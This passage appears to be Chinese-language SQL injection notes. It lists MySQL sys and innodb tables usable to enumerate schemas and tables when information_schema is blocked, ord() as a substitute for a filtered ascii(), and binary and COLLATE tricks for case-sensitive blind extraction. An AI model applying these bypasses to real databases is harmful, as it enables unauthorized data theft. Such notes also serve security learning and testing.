select table_schema from sys.x$schema_flattened_keys group by table_schema;

查询指定库的表(若无则说明此表从未被访问)
select table_name from sys.schema_table_statistics where table_schema='blog' group by table_name;
或者
select table_name from sys.x$schema_flattened_keys where table_schema='blog' group by table_name;
mysql数据库
mysql.innodb_table_stats
或者
mysql.innodb_index_stats

ascii()函数绕过

ord

ord()函数是ascii()函数的平替。

字符集绕过

当我们查询的数据需要区分大小写时,需要通过字符集绕过:

select 'abc' like 'ABC';

binary字符集
select 'abc' like binary 'ABC';

COLLATE utf8mb4_bin
//COLLATE指定一个排序规则,utf8mb4_bin表示以二进制方式比较字符串,从而区分大小写。
SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;

COLLATE utf8mb4_0900_as_cs(MYSQL>8.0)
SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;